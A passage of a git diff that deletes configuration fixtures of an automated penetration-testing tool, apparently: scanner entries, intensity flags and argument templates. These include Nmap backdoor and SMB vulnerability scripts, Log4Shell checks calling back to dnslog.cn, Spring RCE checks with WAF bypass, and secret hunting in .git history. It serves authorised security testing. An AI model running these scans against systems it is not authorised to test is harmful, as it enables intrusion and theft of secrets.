"defectdojo_scan_type": null, - "reference": "https://github.com/Josue87/EmailFinder", - "icon": null - } - }, - { - "model": "tools.tool", - "pk": 13, - "fields": { - "name": "EmailHarvester", - "command": "emailharvester", - "output_format": "txt", - "defectdojo_scan_type": null, - "reference": "https://github.com/maldevel/EmailHarvester", - "icon": null - } - }, - { - "model": "tools.tool", - "pk": 14, - "fields": { - "name": "JoomScan", - "command": "joomscan", - "output_format": null, - "defectdojo_scan_type": null, - "reference": "https://github.com/OWASP/joomscan", - "icon": "https://raw.githubusercontent.com/rezasp/Trash/master/joomscan.png" - } - }, - { - "model": "tools.tool", - "pk": 15, - "fields": { - "name": "GitLeaks", - "command": "gitleaks", - "output_format": "json", - "defectdojo_scan_type": "Gitleaks", - "reference": "https://github.com/zricethezav/gitleaks", - "icon": "https://gitleaks.io/favicon.ico" - } - }, - { - "model": "tools.tool", - "pk": 16, - "fields": { - "name": "SSH Audit", - "command": "ssh-audit", - "output_format": null, - "defectdojo_scan_type": null, - "reference": "https://github.com/jtesta/ssh-audit", - "icon": null - } - }, - { - "model": "tools.tool", - "pk": 17, - "fields": { - "name": "SMBMap", - "command": "smbmap", - "output_format": null, - "defectdojo_scan_type": null, - "reference": "https://github.com/ShawnDEvans/smbmap", - "icon": null - } - }, - { - "model": "tools.tool", - "pk": 18, - "fields": { - "name": "Nuclei", - "command": "nuclei", - "output_format": "json", - "defectdojo_scan_type": "Nuclei", - "reference": "https://nuclei.projectdiscovery.io", - "icon": "https://nuclei.projectdiscovery.io/static/favicon.png" - } - }, - { - "model": "tools.tool", - "pk": 19, - "fields": { - "name": "Spring4Shell Scan", - "command": "python3", - "output_format": null, - "defectdojo_scan_type": null, - "reference": "https://github.com/fullhunt/spring4shell-scan", - "icon": "https://fullhunt.io/static/theme/images/logo/favicon.ico" - } - }, - { - "model": "tools.tool", - "pk": 20, - "fields": { - "name": "Gobuster", - "command": "gobuster", - "output_format": "txt", - "defectdojo_scan_type": null, - "reference": "https://github.com/OJ/gobuster", - "icon": null - } - } -] \ No newline at end of file diff --git a/src/backend/tools/fixtures/2_intensities.json b/src/backend/tools/fixtures/2_intensities.json deleted file mode 100644 index c05a1ed41..000000000 --- a/src/backend/tools/fixtures/2_intensities.json +++ /dev/null @@ -1,317 +0,0 @@ -[ - { - "model": "tools.intensity", - "pk": 1, - "fields": { - "tool": 1, - "argument": "-T0", - "value": 1 - } - }, - { - "model": "tools.intensity", - "pk": 2, - "fields": { - "tool": 1, - "argument": "-T2", - "value": 2 - } - }, - { - "model": "tools.intensity", - "pk": 3, - "fields": { - "tool": 1, - "argument": "-T3", - "value": 3 - } - }, - { - "model": "tools.intensity", - "pk": 4, - "fields": { - "tool": 1, - "argument": "-T4", - "value": 4 - } - }, - { - "model": "tools.intensity", - "pk": 5, - "fields": { - "tool": 1, - "argument": "-T5", - "value": 5 - } - }, - { - "model": "tools.intensity", - "pk": 6, - "fields": { - "tool": 2, - "argument": "-t 1 -s 1", - "value": 1 - } - }, - { - "model": "tools.intensity", - "pk": 7, - "fields": { - "tool": 2, - "argument": "-t 10 -s 1", - "value": 2 - } - }, - { - "model": "tools.intensity", - "pk": 8, - "fields": { - "tool": 2, - "argument": "-t 30", - "value": 3 - } - }, - { - "model": "tools.intensity", - "pk": 9, - "fields": { - "tool": 2, - "argument": "-t 60", - "value": 4 - } - }, - { - "model": "tools.intensity", - "pk": 10, - "fields": { - "tool": 2, - "argument": "-t 100", - "value": 5 - } - }, - { - "model": "tools.intensity", - "pk": 11, - "fields": { - "tool": 3, - "argument": "", - "value": 1 - } - }, - { - "model": "tools.intensity", - "pk": 12, - "fields": { - "tool": 4, - "argument": "", - "value": 4 - } - }, - { - "model": "tools.intensity", - "pk": 13, - "fields": { - "tool": 5, - "argument": "--sleep=100", - "value": 1 - } - }, - { - "model": "tools.intensity", - "pk": 14, - "fields": { - "tool": 5, - "argument": "--sleep=50", - "value": 2 - } - }, - { - "model": "tools.intensity", - "pk": 15, - "fields": { - "tool": 5, - "argument": "", - "value": 3 - } - }, - { - "model": "tools.intensity", - "pk": 16, - "fields": { - "tool": 6, - "argument": "", - "value": 3 - } - }, - { - "model": "tools.intensity", - "pk": 17, - "fields": { - "tool": 7, - "argument": "--light-scan", - "value": 2 - } - }, - { - "model": "tools.intensity", - "pk": 18, - "fields": { - "tool": 7, - "argument": "", - "value": 3 - } - }, - { - "model": "tools.intensity", - "pk": 19, - "fields": { - "tool": 8, - "argument": "", - "value": 4 - } - }, - { - "model": "tools.intensity", - "pk": 20, - "fields": { - "tool": 9, - "argument": "", - "value": 1 - } - }, - { - "model": "tools.intensity", - "pk": 21, - "fields": { - "tool": 10, - "argument": "", - "value": 1 - } - }, - { - "model": "tools.intensity", - "pk": 22, - "fields": { - "tool": 11, - "argument": "", - "value": 4 - } - }, - { - "model": "tools.intensity", - "pk": 23, - "fields": { - "tool": 12, - "argument": "", - "value": 1 - } - }, - { - "model": "tools.intensity", - "pk": 24, - "fields": { - "tool": 13, - "argument": "", - "value": 1 - } - }, - { - "model": "tools.intensity", - "pk": 25, - "fields": { - "tool": 14, - "argument": "", - "value": 3 - } - }, - { - "model": "tools.intensity", - "pk": 26, - "fields": { - "tool": 15, - "argument": "", - "value": 3 - } - }, - { - "model": "tools.intensity", - "pk": 27, - "fields": { - "tool": 16, - "argument": "", - "value": 3 - } - }, - { - "model": "tools.intensity", - "pk": 28, - "fields": { - "tool": 17, - "argument": "", - "value": 3 - } - }, - { - "model": "tools.intensity", - "pk": 29, - "fields": { - "tool": 18, - "argument": "", - "value": 4 - } - }, - { - "model": "tools.intensity", - "pk": 30, - "fields": { - "tool": 19, - "argument": "", - "value": 4 - } - }, - { - "model": "tools.intensity", - "pk": 31, - "fields": { - "tool": 20, - "argument": "--threads 1", - "value": 1 - } - }, - { - "model": "tools.intensity", - "pk": 32, - "fields": { - "tool": 20, - "argument": "--threads 5", - "value": 2 - } - }, - { - "model": "tools.intensity", - "pk": 33, - "fields": { - "tool": 20, - "argument": "--threads 10", - "value": 3 - } - }, - { - "model": "tools.intensity", - "pk": 34, - "fields": { - "tool": 20, - "argument": "--threads 20", - "value": 4 - } - }, - { - "model": "tools.intensity", - "pk": 35, - "fields": { - "tool": 20, - "argument": "--threads 50", - "value": 5 - } - } -] \ No newline at end of file diff --git a/src/backend/tools/fixtures/3_configurations.json b/src/backend/tools/fixtures/3_configurations.json deleted file mode 100644 index bad92e25b..000000000 --- a/src/backend/tools/fixtures/3_configurations.json +++ /dev/null @@ -1,530 +0,0 @@ -[ - { - "model": "tools.configuration", - "pk": 1, - "fields": { - "tool": 1, - "name": "TCP ports", - "arguments": "--privileged {host} {intensity} {ports} -sS -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 2, - "fields": { - "tool": 1, - "name": "UDP ports", - "arguments": "--privileged {host} {intensity} {ports} -sU -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 3, - "fields": { - "tool": 1, - "name": "TCP ports & service versions", - "arguments": "--privileged {host} {intensity} {ports} -sS -sV -A -oX {output}", - "stage": 2, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 4, - "fields": { - "tool": 1, - "name": "UDP ports & service versions", - "arguments": "--privileged {host} {intensity} {ports} -sU -sV -A -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 5, - "fields": { - "tool": 1, - "name": "TCP & UDP ports", - "arguments": "--privileged {host} {intensity} {ports} -sS -sU -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 6, - "fields": { - "tool": 1, - "name": "TCP & UDP ports & service versions", - "arguments": "--privileged {host} {intensity} {ports} -sS -sU -sV -A -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 7, - "fields": { - "tool": 1, - "name": "Fast TCP ports", - "arguments": "--privileged {host} {intensity} {ports} -F -sS -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 8, - "fields": { - "tool": 1, - "name": "Fast UDP ports", - "arguments": "--privileged {host} {intensity} {ports} -F -sU -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 9, - "fields": { - "tool": 1, - "name": "Fast TCP ports & service versions", - "arguments": "--privileged {host} {intensity} {ports} -F -sS -sV -A -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 10, - "fields": { - "tool": 1, - "name": "Fast UDP ports & service versions", - "arguments": "--privileged {host} {intensity} {ports} -F -sU -sV -A -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 11, - "fields": { - "tool": 1, - "name": "Fast TCP & UDP ports", - "arguments": "--privileged {host} {intensity} {ports} -F -sS -sU -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 12, - "fields": { - "tool": 1, - "name": "Fast TCP & UDP ports & service versions", - "arguments": "--privileged {host} {intensity} {ports} -F -sS -sU -sV -A -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 13, - "fields": { - "tool": 1, - "name": "Vulners", - "arguments": "--privileged {host} {intensity} {ports} -sS -sV -A --script vulners -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 14, - "fields": { - "tool": 1, - "name": "FTP NSE scripts", - "arguments": "--privileged {host} {intensity} {ports} -sS -sV -A --script ftp-anon,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-libopie,ftp-vuln-cve2010-4221 -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 15, - "fields": { - "tool": 2, - "name": "Standard wordlist", - "arguments": "{url} {intensity} -o {output} --format=json {wordlist} {authentication} {cookie}", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 16, - "fields": { - "tool": 2, - "name": "Wordlist with extensions", - "arguments": "{url} {intensity} -o {output} --format=json --force-extensions {wordlist} {authentication} {cookie}", - "stage": 4, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 17, - "fields": { - "tool": 2, - "name": "Recursive", - "arguments": "{url} {intensity} -o {output} --format=json --force-recursive --recursion-depth=10 {wordlist} {authentication} {cookie}", - "stage": 4, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 18, - "fields": { - "tool": 2, - "name": "Deep recursive", - "arguments": "{url} {intensity} -o {output} --format=json --force-recursive --depth-recursive --recursion-depth=10 {wordlist} {authentication} {cookie}", - "stage": 4, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 19, - "fields": { - "tool": 3, - "name": "All available sources", - "arguments": "{target} -b all -f {output}", - "stage": 1, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 20, - "fields": { - "tool": 3, - "name": "Google & Duckduckgo & Bing & Linkedin & Twitter", - "arguments": "{target} -b google,duckduckgo,bing,linkedin,linkedin_links,twitter -f {output}", - "stage": 1, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 21, - "fields": { - "tool": 4, - "name": "Web scan", - "arguments": "{url} -Format xml -output {output} {authentication} {cookie}", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 22, - "fields": { - "tool": 5, - "name": "SSL/TLS analysis", - "arguments": "--xml={output} {intensity} {target}", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 23, - "fields": { - "tool": 6, - "name": "SSL/TLS analysis", - "arguments": "--json_out={output} {target}", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 24, - "fields": { - "tool": 7, - "name": "CMS scan", - "arguments": "{url} {intensity} --follow-redirect --batch", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 25, - "fields": { - "tool": 8, - "name": "Active scan", - "arguments": "{authentication} {cookie} {command} -cmd {url} -quickprogress -quickout {output}", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 26, - "fields": { - "tool": 9, - "name": "Search by technology", - "arguments": "{technology} --json > {output}", - "stage": 5, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 27, - "fields": { - "tool": 10, - "name": "Search by CVE", - "arguments": "-q -x \"search {cve};quit\"", - "stage": 5, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 28, - "fields": { - "tool": 11, - "name": "Log4Shell (CVE-2021-44228)", - "arguments": "{script} {url} --dns-callback-provider dnslog.cn --run-all-tests", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 29, - "fields": { - "tool": 11, - "name": "Log4Shell (CVE-2021-44228) with WAF bypass", - "arguments": "{script} {url} --dns-callback-provider dnslog.cn --run-all-tests --waf-bypass", - "stage": 4, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 30, - "fields": { - "tool": 12, - "name": "Search emails", - "arguments": "{target}", - "stage": 1, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 31, - "fields": { - "tool": 13, - "name": "Search emails", - "arguments": "{target} -s {output}", - "stage": 1, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 32, - "fields": { - "tool": 14, - "name": "Joomla scan", - "arguments": "{url} {cookie}", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 33, - "fields": { - "tool": 15, - "name": "Dump .git and find secrets in all commits", - "arguments": "detect -f json --report-path {output}", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 34, - "fields": { - "tool": 16, - "name": "SSH scan", - "arguments": "{host} {port} --batch", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 35, - "fields": { - "tool": 17, - "name": "List shares", - "arguments": "{host} {port} {authentication}", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 36, - "fields": { - "tool": 17, - "name": "List shares and directories recursively", - "arguments": "{host} {port} -R {authentication}", - "stage": 4, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 37, - "fields": { - "tool": 1, - "name": "SMB NSE scripts", - "arguments": "--privileged {host} {intensity} {ports} -sS -sV -A --script smb-enum-shares,smb-enum-users,smb-enum-groups,smb-enum-sessions,smb-protocols,smb-enum-domains,smb-enum-services,smb-mbenum,smb-ls,smb-security-mode,smb2-security-mode,smb-double-pulsar-backdoor,smb-vuln-webexec,smb2-vuln-uptime,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-vuln-cve-2017-7494 -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 38, - "fields": { - "tool": 1, - "name": "FTP & SMB NSE scripts", - "arguments": "--privileged {host} {intensity} {ports} -sS -sV -A --script ftp-anon,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-libopie,ftp-vuln-cve2010-4221,smb-enum-shares,smb-enum-users,smb-enum-groups,smb-enum-sessions,smb-protocols,smb-enum-domains,smb-enum-services,smb-mbenum,smb-ls,smb-security-mode,smb2-security-mode,smb-double-pulsar-backdoor,smb-vuln-webexec,smb2-vuln-uptime,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-vuln-cve-2017-7494 -oX {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 39, - "fields": { - "tool": 18, - "name": "All templates", - "arguments": "{url} {authentication} {cookie} -json -output {output}", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 40, - "fields": { - "tool": 18, - "name": "Automatic technology detection", - "arguments": "{url} -automatic-scan {authentication} {cookie} -json -output {output}", - "stage": 4, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 41, - "fields": { - "tool": 18, - "name": "CVE templates", - "arguments": "{url} -tags cve {authentication} {cookie} -json -output {output}", - "stage": 4, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 42, - "fields": { - "tool": 19, - "name": "SpringShell RCE (CVE-2022-22965)", - "arguments": "{script} {url}", - "stage": 4, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 43, - "fields": { - "tool": 19, - "name": "Spring Cloud RCE (CVE-2022-22963)", - "arguments": "{script} {url} --test-CVE-2022-22963", - "stage": 4, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 44, - "fields": { - "tool": 19, - "name": "SpringShell RCE (CVE-2022-22965) with WAF bypass", - "arguments": "{script} {url} --waf-bypass", - "stage": 4, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 45, - "fields": { - "tool": 19, - "name": "Spring Cloud RCE (CVE-2022-22963) with WAF bypass", - "arguments": "{script} {url} --waf-bypass --test-CVE-2022-22963", - "stage": 4, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 46, - "fields": { - "tool": 20, - "name": "Subdomains enumeration", - "arguments": "dns {target} {subdomain_wordlist} {intensity} --wildcard --show-ips --no-color --no-progress --quiet --output {output}", - "stage": 1, - "default": true - } - }, - { - "model": "tools.configuration", - "pk": 47, - "fields": { - "tool": 20, - "name": "VHOST enumeration", - "arguments": "vhost {target_url} {subdomain_wordlist} {intensity} --append-domain --no-tls-validation --no-color --no-progress --quiet --output {output}", - "stage": 2, - "default": false - } - }, - { - "model": "tools.configuration", - "pk": 48, - "fields": { - "tool": 20, - "name": "Endpoints enumeration", - "arguments": "dir {url} {endpoint_wordlist} {basic_auth} {token_auth} {cookie} {intensity} --no-tls-validation --no-color --no-progress --quiet --output {output}", - "stage": 4, - "default": false - } - } -] \ No newline at end of file diff --git a/src/backend/tools/fixtures/4_arguments.json b/src/backend/tools/fixtures/4_arguments.json deleted file mode 100644 index 279bb7e50..000000000 --- a/src/backend/tools/fixtures/4_arguments.json +++ /dev/null @@ -1,453 +0,0 @@ -[ - { - "model": "tools.argument", - "pk": 1, - "fields": { - "tool": 1, - "name": "host", - "argument": "{host}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 2, - "fields": { - "tool": 1, - "name": "ports", - "argument": "-p {ports_commas}", - "required": false, - "multiple": true - } - }, - { - "model": "tools.argument", - "pk": 3, - "fields": { - "tool": 2, - "name": "url", - "argument": "-u {url}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 4, - "fields": { - "tool": 2, - "name": "wordlist", - "argument": "--wordlist={wordlist}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 5, - "fields": { - "tool": 3, - "name": "target", - "argument": "-d {target}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 6, - "fields": { - "tool": 4, - "name": "url", - "argument": "-host {url}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 7, - "fields": { - "tool": 5, - "name": "target", - "argument": "{target}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 8, - "fields": { - "tool": 6, - "name": "target", - "argument": "{target}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 9, - "fields": { - "tool": 7, - "name": "url", - "argument": "-u {url}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 10, - "fields": { - "tool": 8, - "name": "url", - "argument": "-quickurl {url}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 11, - "fields": { - "tool": 9, - "name": "technology", - "argument": "-c {technology} {version}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 12, - "fields": { - "tool": 10, - "name": "cve", - "argument": "cve:{cve}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 13, - "fields": { - "tool": 11, - "name": "url", - "argument": "-u {url}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 14, - "fields": { - "tool": 12, - "name": "target", - "argument": "-d {target}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 15, - "fields": { - "tool": 13, - "name": "target", - "argument": "-d {target}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 16, - "fields": { - "tool": 14, - "name": "url", - "argument": "-u {url}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 17, - "fields": { - "tool": 15, - "name": "url", - "argument": "{url}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 18, - "fields": { - "tool": 16, - "name": "host", - "argument": "{host}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 19, - "fields": { - "tool": 16, - "name": "port", - "argument": "-p {port}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 20, - "fields": { - "tool": 17, - "name": "host", - "argument": "-H {host}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 21, - "fields": { - "tool": 17, - "name": "port", - "argument": "-P {port}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 22, - "fields": { - "tool": 2, - "name": "authentication", - "argument": "--auth={token} --auth-type={credential_type_lower}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 23, - "fields": { - "tool": 2, - "name": "cookie", - "argument": "--cookie='{cookie_name}={secret}'", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 24, - "fields": { - "tool": 14, - "name": "cookie", - "argument": "--cookie '{cookie_name}={secret}'", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 25, - "fields": { - "tool": 17, - "name": "authentication", - "argument": "-u {username} -p {secret}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 26, - "fields": { - "tool": 4, - "name": "authentication", - "argument": "-id {username}:{secret}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 27, - "fields": { - "tool": 4, - "name": "cookie", - "argument": "-Option STATIC-COOKIE='{cookie_name}={secret}'", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 28, - "fields": { - "tool": 8, - "name": "authentication", - "argument": "ZAP_AUTH_HEADER='Authorization' ZAP_AUTH_HEADER_VALUE='{credential_type} {token}'", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 29, - "fields": { - "tool": 8, - "name": "cookie", - "argument": "ZAP_AUTH_HEADER='Cookie' ZAP_AUTH_HEADER_VALUE='{cookie_name}={secret}'", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 30, - "fields": { - "tool": 18, - "name": "url", - "argument": "-u {url}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 31, - "fields": { - "tool": 18, - "name": "authentication", - "argument": "-header 'Authorization:{credential_type} {token}'", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 32, - "fields": { - "tool": 18, - "name": "cookie", - "argument": "-header 'Cookie:{cookie_name}={secret}'", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 33, - "fields": { - "tool": 19, - "name": "url", - "argument": "-u {url}", - "required": true, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 34, - "fields": { - "tool": 20, - "name": "target", - "argument": "--domain {target}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 35, - "fields": { - "tool": 20, - "name": "target_url", - "argument": "--url {target}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 36, - "fields": { - "tool": 20, - "name": "url", - "argument": "--url {url}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 37, - "fields": { - "tool": 20, - "name": "subdomain_wordlist", - "argument": "--wordlist {wordlist}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 38, - "fields": { - "tool": 20, - "name": "endpoint_wordlist", - "argument": "--wordlist {wordlist}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 39, - "fields": { - "tool": 20, - "name": "basic_auth", - "argument": "--username {username} --password {secret}", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 40, - "fields": { - "tool": 20, - "name": "token_auth", - "argument": "--headers 'Authorization: {credential_type} {token}'", - "required": false, - "multiple": false - } - }, - { - "model": "tools.argument", - "pk": 41, - "fields": { - "tool": 20, - "name": "cookie", - "argument": "--cookie '{cookie_name}={secret}'", - "required": false, - "multiple": false - } - } -] \ No newline at end of file diff --git a/src/backend/tools/fixtures/5_inputs.json b/src/backend/tools/fixtures/5_inputs.json deleted file mode 100644 index ade902a85..000000000 --- a/src/backend/tools/fixtures/5_inputs.json +++ /dev/null @@ -1,562 +0,0 @@ -[ - { - "model": "tools.input", - "pk": 1, - "fields": { - "argument": 1, - "type": 2, - "filter": null, - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 2, - "fields": { - "argument": 1, - "type": 3, - "filter": "http", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 3, - "fields": { - "argument": 2, - "type": 3, - "filter": null, - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 4, - "fields": { - "argument": 3, - "type": 3, - "filter": "http", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 5, - "fields": { - "argument": 3, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 6, - "fields": { - "argument": 4, - "type": 9, - "filter": "endpoint", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 7, - "fields": { - "argument": 5, - "type": 2, - "filter": "domain", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 8, - "fields": { - "argument": 6, - "type": 3, - "filter": "http", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 9, - "fields": { - "argument": 6, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 10, - "fields": { - "argument": 7, - "type": 3, - "filter": null, - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 11, - "fields": { - "argument": 7, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 12, - "fields": { - "argument": 8, - "type": 3, - "filter": null, - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 13, - "fields": { - "argument": 8, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 14, - "fields": { - "argument": 9, - "type": 3, - "filter": "http", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 15, - "fields": { - "argument": 9, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 16, - "fields": { - "argument": 10, - "type": 3, - "filter": "http", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 17, - "fields": { - "argument": 10, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 18, - "fields": { - "argument": 11, - "type": 5, - "filter": null, - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 19, - "fields": { - "argument": 12, - "type": 6, - "filter": "cve", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 20, - "fields": { - "argument": 13, - "type": 3, - "filter": "http", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 21, - "fields": { - "argument": 13, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 22, - "fields": { - "argument": 14, - "type": 2, - "filter": "domain", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 23, - "fields": { - "argument": 15, - "type": 2, - "filter": "domain", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 24, - "fields": { - "argument": 16, - "type": 3, - "filter": "http", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 25, - "fields": { - "argument": 16, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 26, - "fields": { - "argument": 17, - "type": 3, - "filter": null, - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 27, - "fields": { - "argument": 17, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 28, - "fields": { - "argument": 18, - "type": 3, - "filter": "ssh", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 29, - "fields": { - "argument": 18, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 30, - "fields": { - "argument": 19, - "type": 3, - "filter": "ssh", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 31, - "fields": { - "argument": 20, - "type": 3, - "filter": "microsoft-ds", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 32, - "fields": { - "argument": 20, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 33, - "fields": { - "argument": 21, - "type": 3, - "filter": "microsoft-ds", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 34, - "fields": { - "argument": 22, - "type": 10, - "filter": "!cookie", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 35, - "fields": { - "argument": 23, - "type": 10, - "filter": "cookie", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 36, - "fields": { - "argument": 24, - "type": 10, - "filter": "cookie", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 37, - "fields": { - "argument": 25, - "type": 10, - "filter": "basic", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 38, - "fields": { - "argument": 26, - "type": 10, - "filter": "basic", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 39, - "fields": { - "argument": 27, - "type": 10, - "filter": "cookie", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 40, - "fields": { - "argument": 28, - "type": 10, - "filter": "!cookie", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 41, - "fields": { - "argument": 29, - "type": 10, - "filter": "cookie", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 42, - "fields": { - "argument": 30, - "type": 3, - "filter": "http", - "order": 1 - } - }, - { - 